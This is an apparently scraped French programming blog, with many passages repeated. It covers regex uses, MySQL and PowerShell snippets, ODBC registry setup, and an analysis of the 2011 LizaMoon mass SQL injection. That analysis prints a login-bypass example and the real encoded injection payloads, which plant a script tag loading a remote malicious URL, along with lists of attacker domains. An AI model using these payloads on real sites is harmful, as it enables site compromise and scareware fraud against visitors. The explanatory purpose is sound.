Je ne vais pas faire un cours sur le fonctionnement des expressions régulières (RegEx ou RegExp), mais plutôt vous vanter ce que l'on peut faire avec.
J'ai recensé plusieurs usages que je peux en faire, mais il y en a plein d'autres.
On peut résumer la fonction d'une RegEx en deux choses :
- Vérifier si une chaîne correspond à un motif (pattern).
- Vérifier si une chaîne correspond à un motif, et si oui extraire une partie de cette chaîne.
Rappelons que les RegEx sont implémentées nativement dans beaucoup de langages, comme C#, PHP, JavaScript et même PowerShell avec -match (et d'autres) et y sont facile à utiliser. Néanmoins l'usage intensif de RegEx peut pénaliser les performances de votre application !
1) Rechercher dans un fichier texte avec Notepad+
Par exemple vous rechercher des adresses IPv4 dans un fichier.
Motif de la RegEx: [0-2]?[0-9]?[0-9]\.[0-2]?[0-9]?[0-9]\.[0-2]?[0-9]?[0-9]\.[0-2]?[0-9]?[0-9]
Avec ceci, vous trouverez toute de suite toutes les adresses IPv4 dans du texte. Notez cependant qu'il existe des expressions régulières plus ou moins précises pour faire la même chose. Celle présenter ici est assez simple, par exemple elle considérera 299.299.299.299 comme une adresse IP !
2) Vérifier si un champ est bien saisi dans votre formulair
Par exemple vérifier si le champ e-mail est bien une adresse e-mail, avec jQuery par exemple.
Motif de la RegEx: [-a-zA-Z0-9.]+@[-a-zA-Z0-9.]+\.[a-zA-Z]{2,5}
Encore une fois, ce motif peut être amélioré, ce n'est pas le but ici. Avec cette vérification à la validation du formulaire, vous vous assurez de la bonne saisie de l'adresse e-mail !
3) Manipuler un fichier texte avec Notepad++
Par exemple nous avons un fichier avec un séparateur ; et nous souhaitons supprimer la première colonne.
Motif de la RegEx: ^[^;]+(.+)$
Motif du remplacement : \1
Ceci vous permettra de récupérer, pour chaque ligne, le contenu de la ligne après le premier ;.
On aurait pu également le faire avec Excel en renommant notre fichier en CSV. Mais nous aurions pu vouloir faire quelque chose qu'Excel ne sait pas faire.
4) Extraire une chaîne dans un fichier HTML
Vous pouvez toujours passer par une librairie qui parsera le fichier dans un XMLDocument, et ensuite un peu de XPath pour rechercher le bon Node. C'est d'ailleurs la méthode la plus fiable, mais un peu lourde pour un usage occasionnel.
Par exemple nous voulons récupérer la valeur à l'intérieur d'une balise HTML.
Motif de la RegEx: <div>([^<]+)</div>
Nous pouvons ensuite récupérer facilement ce qui a été capturé par les parenthèses.
5) Dans une requête SQL
Par exemple, MySQL implémente la fonction REGEX qui permet de vérifier si une colonne de notre table correspond à un motif.
Par exemple nous une table commentaire et nous voulons récupérer tous les commentaires qui contiennent des balises HTML.
Motif de la RegEx: <[a-zA-Z]+( .*)?\/?>(.*<\/[a-zA-Z]+>)?
Ce motif permet de rechercher la présence d'une balise HTML. Nous pouvons l'utiliser de cette manière : SELECT * FROM commentaire WHERE body REGEXP '<[a-zA-Z]+( .*)?\/?>(.*<\/[a-zA-Z]+>)?';
6) Parser du langage de script
Les parseurs (et autres compilateurs) ne sont pas fabriqués avec des expressions régulières mais avec des lexèmes de grammaire de bas niveau et des automates, typiquement en Lex/Yacc ou équivalents.
Mais on peut, à haut niveau, utiliser des RegEx qui feront un travail tout aussi remarquable et plus facile d'accès aux néophytes.
Par exemple pour du BBCode sur les forums PHP, la balise [IMG].
Motif de la RegEx: \[IMG\]((https?://)?[-a-zA-Z0-9.]+\.[a-zA-Z]{2,5}(\/.*)?)\[\/IMG\]
Ce motif, améliorable, permettra de capturer l'URL de l'image et donc ensuite de générer la balise HTML <img>. Il faut cependant appliquer un attribut de répétitivité pour que la balise soit recherchée à l'infinie, car l'utilisateur sera susceptible de mettre plusieurs [IMG] dans la même ligne.
7) Rechercher des mots même mal orthographiés
Plutôt que de générer un dictionnaire de toutes les possibilités d'écrire un mot sous toutes ses formes phonétiques, on peut utiliser des motifs spécialement conçus pour rechercher ces mots.
Par exemple, pour la recherche d'insulte sur un forum ou dans un chat.
Motif de la RegEx: con+( |ar|as|ace)
Ce motif permet de remplacer un dictionnaire qui contiendrait 4 insultes, même si l'utilisateur essaie de mal orthographier le mot pour passer outre les filtres de détection, en rajoutant ou ne mettant qu'un seul n par exemple.
On peut ensuite améliorer le même motif comme ceci : c+o+n+( |a+r|a+s|a+c+e)
Ceci permettra de détecter les écritures à rallonges comme cccccooooooonnnnnnnnnaaaaarrrdddd.
8) Modifier en masse les Tag IDv3 de nos MP3
Par exemple avec le logiciel gratuit MP3Tag, on peut créer un Action rapide qui remplace le nom d'un fichier MP3 en utilisant une expression régulière.
Le principe identique existe pour le logiciel Advenced Renamer.
Affichage des articles dont le libellé est sql. Afficher tous les articles
Affichage des articles dont le libellé est sql. Afficher tous les articles
17 mai 2013
2 avr. 2013
[Snippet] Exécuter une requête SQL sans prise en compte des accents
Si vous essayez de faire une requête SQL qui utilise une colonne de votre table qui peut contenir des accents, mais vous souhaitez les résultats avec ou sans accents :
Il faut d'une part, lors de la création de votre requête, enlever tous les accents de la valeur recherchée.
D'autre part, il faut indiquer à la requête SQL de faire pareil pour les données de la table.
La requête va comparer, pour chaque ligne de la table, si la valeur de la ligne est égale à la valeur recherchée. Il faut donc que, pour chaque valeur, remplacer ses accents par des caractères non accentués.
Il est possible de faire des REPLACE() successifs, mais il y a une méthode bien plus pratique : TRANSLATE().
Ce code est tiré et corrigé de cet article.
TRANSLATE va permettre de donner deux listes de caractères : chaque caractère (de la première liste) qui sera trouvé dans la valeur, sera remplacé par l'autre caractère (celui de la seconde liste situé à la même position).
Exemple :
TRANSLATE("coucou","u","i") // donnera coicoi.
Donc exemple plus intéressant :
TRANSLATE("Cédric","é","e") // donnera Cedric.
Exemple concret :
N'oubliez pas un petit LOWER (ou UPPER) pour ignorer la casse.
Il faut d'une part, lors de la création de votre requête, enlever tous les accents de la valeur recherchée.
D'autre part, il faut indiquer à la requête SQL de faire pareil pour les données de la table.
Note : Si la colonne concernée par la recherche est une clé primaire ou un index, alors le SGBD prend généralement en charge la recherche avec ou sans accents naturellement.
La requête va comparer, pour chaque ligne de la table, si la valeur de la ligne est égale à la valeur recherchée. Il faut donc que, pour chaque valeur, remplacer ses accents par des caractères non accentués.
Il est possible de faire des REPLACE() successifs, mais il y a une méthode bien plus pratique : TRANSLATE().
Attention : TRANSLATE() n'existe que pour certains SGBD, vous pouvez créer une fonction pour contourner le problème avec MySQL.Voici le script de contournement :
# Changement du charset pour protéger CHAR_LENGTH SET NAMES utf8; DELIMITER // # Création de la function translate CREATE FUNCTION translate(V_string VARCHAR(255), V_from VARCHAR(255), V_to VARCHAR(255)) RETURNS VARCHAR(255) DETERMINISTIC BEGIN DECLARE i INT; SET i = CHAR_LENGTH(V_from); WHILE i > 0 DO SET V_string = REPLACE(V_string, SUBSTR(V_from, i, 1), SUBSTR(V_to, i, 1)); SET i = i - 1; END WHILE; RETURN V_string; END // # Restauration du délimiteur d'origine DELIMITER ;
Ce code est tiré et corrigé de cet article.
TRANSLATE va permettre de donner deux listes de caractères : chaque caractère (de la première liste) qui sera trouvé dans la valeur, sera remplacé par l'autre caractère (celui de la seconde liste situé à la même position).
Exemple :
TRANSLATE("coucou","u","i") // donnera coicoi.
Donc exemple plus intéressant :
TRANSLATE("Cédric","é","e") // donnera Cedric.
Exemple concret :
SELECT * FROM maTable WHERE TRANSLATE(prenom,'ÁÀÂÄÃÅÇÉÈÊËÍÏÎÌÑÓÒÔÖÕÚÙÛÜÝáàâäãåçéèêëíìîïñóòôöõúùûüýÿ', 'AAAAAACEEEEIIIINOOOOOUUUUYaaaaaaceeeeiiiinooooouuuuyy') = 'Cédric';
N'oubliez pas un petit LOWER (ou UPPER) pour ignorer la casse.
10 nov. 2012
[snippet] Récupérer le numéro de ligne avec MySQL
Il est souvent utile de connaître le numéro de ligne de l'enregistrement courant lors d'un parcours du résultat d'une requête SQL, plutôt que d'utiliser une variable compteur côté programmation du traitement. Pour cela, la plupart des SGBD ont implémentés un champ ou une variable système spécifique, comme le ROWNUM (une colonne système qui retourne le numéro de la ligne courante). La plupart des SGBD mais pas MySQL.
Il existe cependant une solution pour pallier à ce manque. Il suffit de définir une variable dans la session MySQL avant la requête, et de l'incrémenter depuis la requête, comme ceci :
Et voilà, le tour est joué. D'ailleurs, la colonne @rownum pourra être utilisée dans les clauses WHERE, ORDER BY...
Il existe cependant une solution pour pallier à ce manque. Il suffit de définir une variable dans la session MySQL avant la requête, et de l'incrémenter depuis la requête, comme ceci :
SET @rownum=0;
SELECT @rownum:=@rownum+1, * FROM table WHERE champ1 = champ2;
SELECT @rownum:=@rownum+1, * FROM table WHERE champ1 = champ2;
Et voilà, le tour est joué. D'ailleurs, la colonne @rownum pourra être utilisée dans les clauses WHERE, ORDER BY...
12 déc. 2011
[snippet] Se connecter a MySQL depuis Powershell
Il est possible d'écrire dans une base de données MySQL depuis un simple script Powershell. Le tout en utilisant la capacité a Powershell d'utiliser les assemblies .Net et MySQL Connector/Net (a télécharger http://dev.mysql.com/downloads/connector/net/).
Vous devez depuis le serveur MySQL autoriser d'être accédé par une autre machine. Pour cela, ouvrez une console MySQL et tapez:
GRANT ALL ON *.* to root@'192.168.1.196' IDENTIFIED BY 'password';
FLUSH PRIVILEGES;
Une fois le connector installé, localisez la DLL MySQL.Data.dll (normalement localisée a C:\Program Files\MySQL\MySQL Connector Net\Binaries\.NET 2.0\MySQL.Data.dll en 5.X ou C:\Program Files\MySQL\MySQL Connector Net \Assemblies\v2.0\MySQL.Data.dll en 6.X
Il faut alors charger l'assemblie dans la session Powershell comme ceci :
[system.reflection.Assembly]::LoadFrom(“C:\Program Files\MySQL\MySQL Connector Net 6.4.4\Assemblies\v2.0\MySQL.Data.dll”)
Puis voici deux petites commandes similaires au PHP:
Que l'on utilise comme ceci :
Vous devez depuis le serveur MySQL autoriser d'être accédé par une autre machine. Pour cela, ouvrez une console MySQL et tapez:
GRANT ALL ON *.* to root@'192.168.1.196' IDENTIFIED BY 'password';
FLUSH PRIVILEGES;
Une fois le connector installé, localisez la DLL MySQL.Data.dll (normalement localisée a C:\Program Files\MySQL\MySQL Connector Net
Il faut alors charger l'assemblie dans la session Powershell comme ceci :
[system.reflection.Assembly]::LoadFrom(“C:\Program Files\MySQL\MySQL Connector Net 6.4.4\Assemblies\v2.0\MySQL.Data.dll”)
Puis voici deux petites commandes similaires au PHP:
function mysql_connect([string]$ip,[string]$Login,[string]$Password,[string]$Database) {
$dbconnect = New-Object MySql.Data.MySqlClient.MySqlConnection
$dbconnect.ConnectionString = “server=$ip;user id=$login;password=$password;database=$database;pooling=false”
$dbconnect.Open()
$global:db = $dbconnect
$dbconnect
}
function mysql_query([string]$Query,[MySql.Data.MySqlClient.MySqlConnection]$Db) {
$sql = New-Object MySql.Data.MySqlClient.MySqlCommand
if($db -eq $null) {
if($global:db -eq $null) { throw "Pas de connexion spécifiée" }
else { $db = $global:db }
}
if($db.State -ne "Open") {
#throw "Connexion spécifié non établie"
# on ré-ouvre la connexion car elle peut-être fermée...
$db.Open()
}
$sql.Connection = $db
$sql.CommandText = $query
$sql.ExecuteNonQuery()
}
Que l'on utilise comme ceci :
$dbconnect = mysql_connect -Ip 192.168.1.243 -Login "root" -Password "azerty" -Database "stock" mysql_query -Query "insert into connexion VALUES (NULL, '$mavar_powershell', NOW())"
22 juin 2011
[Astuce] Créer une source de données ODBC par programmation
Les sources de données ODBC bien que de moins en moins utilisées, sont pourtant bien pratique si on utilise les pilotes fournis en standards. Surtout qu'avec LINQ (technologie .NET), exploiter une base de données ODBC équivaut à exploiter un connecteur MS SQL ou une structure en mémoire !
Pour bien comprendre, il y a deux choses à voir :
1) Les sources de données, appelées DSN
2) Les pilotes (drivers)
Chaque PC possède différents drivers, dont une bonne quantitée livré avec Windows. L'installation de logiciels, tels que Microsoft Office peut rajouter d'autres drivers.
Chaque DSN utilise un seul driver, et pointe vers un fichier (un fichier de base de données paradox, Access...)
Un DSN peut être soit local à l'utilisateur, soit partagé pour toute la machine (on dit qu'il est System).
La console de gestion des sources se trouve dans le panneau de configuration, ou exécuter odbcad32.
Attention : si votre application est compilée en 64 bits, elle exploitera les drivers 64 bits, qui sont moins nombreux que les pilotes 32 bits !
Rentrons dans le vif du sujet : Comment créer une source de données ODBC par programmation ?
Il faut d'abord savoir quel nom on veut lui donner, quel driver utiliser, et l'ajouter pour l'utilisateur courant ou le système ?
Il faut ajouter une clé de registre dans HKLM\Software\ODBC\ODBC.INI\<nom DSN> et y ajouter quelques valeurs spécifiques, le nom du driver utilisé, le chemin du fichier de la base de données, la DLL qui permet d'exploiter le driver... Pour cela, je vous conseille de créer manuellement une source de données via odbcad32 et de constater dans la base de registre les modifications.
La liste des drivers se trouve dans HKLM\ODBC\ODBCINST.INI\ODBC Drivers. Pour trouver le driver qu'il vous faut, je vous conseille d'utiliser la chaîne FileExtns de chaque clé HKLM\ODBC\ODBCINST.INI\<nom du driver>. Une fois le driver trouvé, vous obtiendrez ainsi presque toutes les valeurs nécessaires pour créer votre DSN. Seule la valeur DWORD DriverID, nécessaire pour le fonctionnement du DSN, ne sera pas présente. Pour obtenir cette valeur, créez manuellement une DSN avec le driver en question, récupérez le DriverID et utilisez-le dans votre code (cette valeur ne change jamais pour un driver donné).
En second lieu, il suffit ajouter une valeur chaîne dans HKLM\ODBC\ODBC.INI\ODBC Data Sources\<nom DSN> = <nom du driver>.
Pour créer la base de données pour utilisateurs, il suffit de créer les mêmes données mais dans la branche HKCU tout en lisant la liste des drivers dans ODBCINST.INI de HKLM. Attention cependant, si l'utilisateur n'a jamais créé de DSN, la branche HKCU\Software\ODBC n'existe pas : il faudra la créer.
Attention : si votre système d'exploitation est en 64 bits, en exécutant odbcad32 vous ne verrez que les DSN 64 bits, et les drivers 64 bits. Regedit*64 affichera la base de registre telle qu'elle serait vu par une application 64 bits. Or votre application 32 bits ne voit pas les mêmes données dans le registre ! Pour voir la base de registre en 32 bits depuis Regedit*64, il suffit d'aller dans HKLM\SOFTWARE\Wow6432Node\ODBC\ ! Vous n'avez pas à spécifier Wow6432Node dans le code de votre application 32 bits, puisque la translation est transparente, est faite par le système.
Pour bien comprendre, il y a deux choses à voir :
1) Les sources de données, appelées DSN
2) Les pilotes (drivers)
Chaque PC possède différents drivers, dont une bonne quantitée livré avec Windows. L'installation de logiciels, tels que Microsoft Office peut rajouter d'autres drivers.
Chaque DSN utilise un seul driver, et pointe vers un fichier (un fichier de base de données paradox, Access...)
Un DSN peut être soit local à l'utilisateur, soit partagé pour toute la machine (on dit qu'il est System).
La console de gestion des sources se trouve dans le panneau de configuration, ou exécuter odbcad32.
Attention : si votre application est compilée en 64 bits, elle exploitera les drivers 64 bits, qui sont moins nombreux que les pilotes 32 bits !
Rentrons dans le vif du sujet : Comment créer une source de données ODBC par programmation ?
Il faut d'abord savoir quel nom on veut lui donner, quel driver utiliser, et l'ajouter pour l'utilisateur courant ou le système ?
Il faut ajouter une clé de registre dans HKLM\Software\ODBC\ODBC.INI\<nom DSN> et y ajouter quelques valeurs spécifiques, le nom du driver utilisé, le chemin du fichier de la base de données, la DLL qui permet d'exploiter le driver... Pour cela, je vous conseille de créer manuellement une source de données via odbcad32 et de constater dans la base de registre les modifications.
La liste des drivers se trouve dans HKLM\ODBC\ODBCINST.INI\ODBC Drivers. Pour trouver le driver qu'il vous faut, je vous conseille d'utiliser la chaîne FileExtns de chaque clé HKLM\ODBC\ODBCINST.INI\<nom du driver>. Une fois le driver trouvé, vous obtiendrez ainsi presque toutes les valeurs nécessaires pour créer votre DSN. Seule la valeur DWORD DriverID, nécessaire pour le fonctionnement du DSN, ne sera pas présente. Pour obtenir cette valeur, créez manuellement une DSN avec le driver en question, récupérez le DriverID et utilisez-le dans votre code (cette valeur ne change jamais pour un driver donné).
En second lieu, il suffit ajouter une valeur chaîne dans HKLM\ODBC\ODBC.INI\ODBC Data Sources\<nom DSN> = <nom du driver>.
Pour créer la base de données pour utilisateurs, il suffit de créer les mêmes données mais dans la branche HKCU tout en lisant la liste des drivers dans ODBCINST.INI de HKLM. Attention cependant, si l'utilisateur n'a jamais créé de DSN, la branche HKCU\Software\ODBC n'existe pas : il faudra la créer.
Attention : si votre système d'exploitation est en 64 bits, en exécutant odbcad32 vous ne verrez que les DSN 64 bits, et les drivers 64 bits. Regedit*64 affichera la base de registre telle qu'elle serait vu par une application 64 bits. Or votre application 32 bits ne voit pas les mêmes données dans le registre ! Pour voir la base de registre en 32 bits depuis Regedit*64, il suffit d'aller dans HKLM\SOFTWARE\Wow6432Node\ODBC\ ! Vous n'avez pas à spécifier Wow6432Node dans le code de votre application 32 bits, puisque la translation est transparente, est faite par le système.
7 avr. 2011
[décryptage] Injection SQL LizaMoon
Tout le monde en parle, mais concrètement, qu'est-ce que LizaMoon ?
Partons sur de bonnes bases. Qu'est-ce qu'une injection SQL ?
Revenons à ce qui nous intéresse. LizaMoon.
LizaMoon est le nom donnée à une attaque de grande ampleur par injection SQL (Mass SQL Injection Attack), baptisée ainsi au nom du premier site appartenant aux pirates détecté. Cette attaque a démarré le 25 mars 2011, a été repérée par Websense Security Labs le 29 mars où 28 000 sites seraient concernés au moment de la détection, 380 000 le lendemain. Au 5 avril, ce nombre passait à plus de 500 000, dont la moitié des sites sont étasuniens. LizaMoon, similaire à l'attaque "Gumblar" (Gumblar.cn/Martuz.cn, Troj/JSRedir-R), est considéré par certains comme étant la plus grande attaque par injection SQL jamais réalisée.
LizaMoon utilise une faille jusque là inexploitée et encore inconnue, qui permet d'injecter du contenu dans la base SQL du serveur. Il ne s'agit pas d'une faille XSS comme certains le prétendent. Le ou les pirates s'en sont servis pour rediriger tous les visiteurs des sites infectés vers un de leurs nombreux sites (listés plus bas), faisant la promotion d'un soi disant antivirus (un scareware), qui n'est évidemment qu'une méthode pour extorquer de l'argent à l'internaute mal informé. La redirection s'est faite par l'insertion d'une balise <script src=... />. Une simple requête de "<script src=http://*/ur.php" sur google permet de voir l'étendue des dégâts, retournait 1,5 million de résultats il y a quelques jours, 700 000 aujourd'hui.
Détails sur l'injection SQL.
Cette injection SQL a été conçue pour les pages ASP utilisant une base de données Microsoft SQL Server (toutes versions confondues). Il ne s'agit pas d'une faille de sécurité de Microsoft SQL Server, mais bien d'une injection SQL, donc d'une erreur du développeur de la page ASP. L'attaque se base sur 2 injections possibles, permettants l'insertion de la balise script malicieuse:
Ce téléchargement se fait depuis l'ip 46.252.130.200 ou 84.123.115.228 (qui est utilisée par une multitude de nom de domaine, tous en .co.cc (île australienne) ou .in (inde), dont les noms de domaines ont été enregistrés via une adresse Gmail unique générée aléatoirement.
Sources: Websence Security Labs, blog de Dancho Danchev, stackoverflow.com, zastita.com.
Partons sur de bonnes bases. Qu'est-ce qu'une injection SQL ?
Une injection SQL est une méthode d'attaque d'un site web dynamique, dont le but est de modifier une requête SQL appelée par une page web. Pour cela, il faut corrompre la requête web GET ou POST, en insérant des valeurs inattendues dans les champs.
Prenons un exemple:
Vous avez une page d'identification, avec un champ identifiant et un champ mot de passe.
Votre table user en base de données possède un champ login et password.
Pour identifier l'utilisateur, votre page web va vérifier le couple login,password avec les valeurs fournies par l'utilisateur : identifiant,mot de passe. Pour cela, on utilise une requête SQL par exemple: "SELECT * FROM user WHERE login = '$ident' AND pass = '$passe';";
Jusque là, tout va bien. Mais que se passe-t-il si l'utilisateur "admin" entre comme mot de passe la chaine suivante : ' or 1=1
La clause WHERE de la requête devient login = 'admin' AND pass = '' or 1=1; ce qui implique que la requête est toujours vraie, et l'utilisateur est alors connecté avec le premier compte de la base de donnée, généralement l'administrateur. Ceci est un exemple simple, qui est protégé nativement dans PHP grâce aux magic quotes, qui remplace les apostrophes, guillemets et anti-slashs. Il existe une multitude de variantes d'injection SQL : cet exemple montre l'usurpation, mais on peut aussi récupérer le contenu d'une table, ou ajouter un code html dans un champ, qui sera ensuite affiché aux visiteurs, comme LizaMoon...
Revenons à ce qui nous intéresse. LizaMoon.
LizaMoon est le nom donnée à une attaque de grande ampleur par injection SQL (Mass SQL Injection Attack), baptisée ainsi au nom du premier site appartenant aux pirates détecté. Cette attaque a démarré le 25 mars 2011, a été repérée par Websense Security Labs le 29 mars où 28 000 sites seraient concernés au moment de la détection, 380 000 le lendemain. Au 5 avril, ce nombre passait à plus de 500 000, dont la moitié des sites sont étasuniens. LizaMoon, similaire à l'attaque "Gumblar" (Gumblar.cn/Martuz.cn, Troj/JSRedir-R), est considéré par certains comme étant la plus grande attaque par injection SQL jamais réalisée.
LizaMoon utilise une faille jusque là inexploitée et encore inconnue, qui permet d'injecter du contenu dans la base SQL du serveur. Il ne s'agit pas d'une faille XSS comme certains le prétendent. Le ou les pirates s'en sont servis pour rediriger tous les visiteurs des sites infectés vers un de leurs nombreux sites (listés plus bas), faisant la promotion d'un soi disant antivirus (un scareware), qui n'est évidemment qu'une méthode pour extorquer de l'argent à l'internaute mal informé. La redirection s'est faite par l'insertion d'une balise <script src=... />. Une simple requête de "<script src=http://*/ur.php" sur google permet de voir l'étendue des dégâts, retournait 1,5 million de résultats il y a quelques jours, 700 000 aujourd'hui.
Détails sur l'injection SQL.
Cette injection SQL a été conçue pour les pages ASP utilisant une base de données Microsoft SQL Server (toutes versions confondues). Il ne s'agit pas d'une faille de sécurité de Microsoft SQL Server, mais bien d'une injection SQL, donc d'une erreur du développeur de la page ASP. L'attaque se base sur 2 injections possibles, permettants l'insertion de la balise script malicieuse:
Ces valeurs ont été découvertes dans les fichiers de log de serveurs IIS. Les requêtes n'ont pas été bloquées par les filtres htaccess ou équivalent pour IIS, puisque le mot clé script n'apparait pas en clair dans l'URL. Ici l'URL est google-stats49.info/ur.php, mais il y en a plein d'autre (voir ci-dessous), mais c'est worid-of-books.com/ur.php qui a été la plus utilisée près de 50% des cas. Tous ces sites sont bloqués par Google comme l'indique la page de blocage de Firefox 4 :Cette valeur est inscrite dans un champ de la base de données, qui est utilisé dans le titre de la page (d'où le </title>). Le titre est donc fermé immédiatement, et est suivie par le script. Le navigateur voit un titre vide, puis un script à exécuter. Le nom de la table et du champ est spécifique pour chaque site, contrairement à l'attaque de 2008 qui était générique, opéré depuis des botnets, et ayant affectés 50 000 ip uniques.+update+Table+set+FieldName=REPLACE(cast(FieldName+as+varchar(8000)),cast(char(60)%2Bchar(47)Ce qui correspond à : +update+Table+set+FieldName=REPLACE(cast(Forename+as+varchar(8000)) ,cast(</title><script src=http://google-stats49.info/ur.php>+as+varchar(8000)),cast(char(32)+as+varchar(8)))--.
%2Bchar(116)%2Bchar(105)%2Bchar(116)%2Bchar(108)%2Bchar(101)%2Bchar(62)%2Bchar(60)%2Bchar(115)
%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(32)%2Bchar(115)%2Bchar(114)
%2Bchar(99)%2Bchar(61)%2Bchar(104)%2Bchar(116)%2Bchar(116)%2Bchar(112)%2Bchar(58)%2Bchar(47)
%2Bchar(47)%2Bchar(103)%2Bchar(111)%2Bchar(111)%2Bchar(103)%2Bchar(108)%2Bchar(101)%2Bchar(45)
%2Bchar(115)%2Bchar(116)%2Bchar(97)%2Bchar(116)%2Bchar(115)%2Bchar(53)%2Bchar(48)%2Bchar(46)
%2Bchar(105)%2Bchar(110)%2Bchar(102)%2Bchar(111)%2Bchar(47)%2Bchar(117)%2Bchar(114)%2Bchar(46)
%2Bchar(112)%2Bchar(104)%2Bchar(112)%2Bchar(62)%2Bchar(60)%2Bchar(47)%2Bchar(115)%2Bchar(99)
%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(62)+as+varchar(8000)),cast(char(32)
+as+varchar(8)))--
ou...
surveyID=91+update+usd_ResponseDetails+set+categoryName=REPLACE(cast(categoryName+ as+varchar(8000)),cast(char(60)%2Bchar(47)%2Bchar(116)%2Bchar(105)%2Bchar(116)%2Bchar( 108)%2Bchar(101)%2Bchar(62)%2Bchar(60)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2B char(112)%2Bchar(116)%2Bchar(32)%2Bchar(115)%2Bchar(114)%2Bchar(99)%2Bchar(61)%2Bchar(10 4)%2Bchar(116)%2Bchar(116)%2Bchar(112)%2Bchar(58)%2Bchar(47)%2Bchar(47)%2Bchar(103)%2Bch ar(111)%2Bchar(111)%2Bchar(103)%2Bchar(108)%2Bchar(101)%2Bchar(45)%2Bchar(115)%2Bchar(11 6)%2Bchar(97)%2Bchar(116)%2Bchar(115)%2Bchar(53)%2Bchar(48)%2Bchar(46)%2Bchar(105)%2Bcha r(110)%2Bchar(102)%2Bchar(111)%2Bchar(47)%2Bchar(117)%2Bchar(114)%2Bchar(46)%2Bchar(112) %2Bchar(104)%2Bchar(112)%2Bchar(62)%2Bchar(60)%2Bchar(47)%2Bchar(115)%2Bchar(99)%2Bchar( 114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(62)+as+varchar(8000)),cast(char(32)+as+v archar(8)))--
Ce qui correspond à : surveyID=91+update+usd_ResponseDetails+set+categoryName=REPLACE(cast(categoryName+ as+varchar(8000)),cast(</title><script src=http://google-stats49.info/ur.php> +as+varchar(8000)),cast(char(32)+as+v archar(8)))--.
lizamoon.com/ur.phpCi-dessous le code d'une page ur.php. Ce code est très simple, il redirige vers le scareware (fakeAV) : "Windows Stability Center". Il propose de télécharger le fichier freesystemscan.exe (md5: 815d77f8fca509dde1abeafabed30b65).
worid-of-books.com/ur.php
tadygus.com/ur.php
alexblane.com/ur.php
alisa-carter.com/ur.php
online-stats201.info/ur.php
stats-master111.info/ur.php
agasi-story.info/ur.php
general-st.info/ur.php
extra-service.info/ur.php
t6ryt56.info/ur.php
sol-stats.info/ur.php
google-stats49.info/ur.php
google-stats45.info/ur.php
google-stats50.info/ur.php
stats-master88.info/ur.php
eva-marine.info/ur.php
stats-master99.info/ur.php
google-server43.info/ur.php
tzv-stats.info/ur.php
milapop.com/ur.php
pop-stats.info/ur.php
star-stats.info/ur.php
multi-stats.info/ur.php
google-stats44.info/ur.php
books-loader.info/ur.php
google-stats73.info/ur.php
google-stats47.info/ur.php
google-stats50.info/ur.php
Ce téléchargement se fait depuis l'ip 46.252.130.200 ou 84.123.115.228 (qui est utilisée par une multitude de nom de domaine, tous en .co.cc (île australienne) ou .in (inde), dont les noms de domaines ont été enregistrés via une adresse Gmail unique générée aléatoirement.
Sources: Websence Security Labs, blog de Dancho Danchev, stackoverflow.com, zastita.com.
Inscription à :
Articles (Atom)


